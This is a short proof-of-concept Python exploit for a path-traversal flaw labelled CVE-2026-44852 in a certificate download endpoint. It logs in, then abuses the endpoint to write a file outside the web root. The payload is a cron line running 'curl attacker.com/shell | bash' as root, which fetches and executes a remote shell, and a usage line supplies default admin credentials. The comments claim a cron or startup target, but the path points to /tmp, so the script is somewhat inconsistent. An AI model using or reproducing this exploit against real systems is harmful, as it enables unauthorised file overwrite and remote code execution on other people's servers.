CVE-2026-44852

# PoC for CVE-2026-44852 (Conceptual) # This script demonstrates the path traversal vulnerability in the certificate download functionality. # Requires high privileges. import requests def exploit(target, username, password): session = requests.Session() # 1. Authenticate login_url = f"{target}/login" creds = {"username": username, "password": password} session.post(login_url, data=creds) # 2. Exploit Arbitrary File Overwrite via Certificate Download # The vulnerable endpoint accepts a 'file_path' parameter exploit_url = f"{target}/api/cert/download" # Payload to write to a sensitive location (e.g., cron or startup script) # Using path traversal to escape the web root malicious_path = "../../../../../../tmp/malicious_config.txt" payload_data = { "file_path": malicious_path, "content": "* * * * * root /bin/bash -c 'curl attacker.com/shell | bash'" } response = session.post(exploit_url, data=payload_data) if response.status_code == 200: print("[+] File overwrite potentially successful.") else: print("[-] Exploit failed.") # Usage: exploit("https://target-ip", "admin", "admin")

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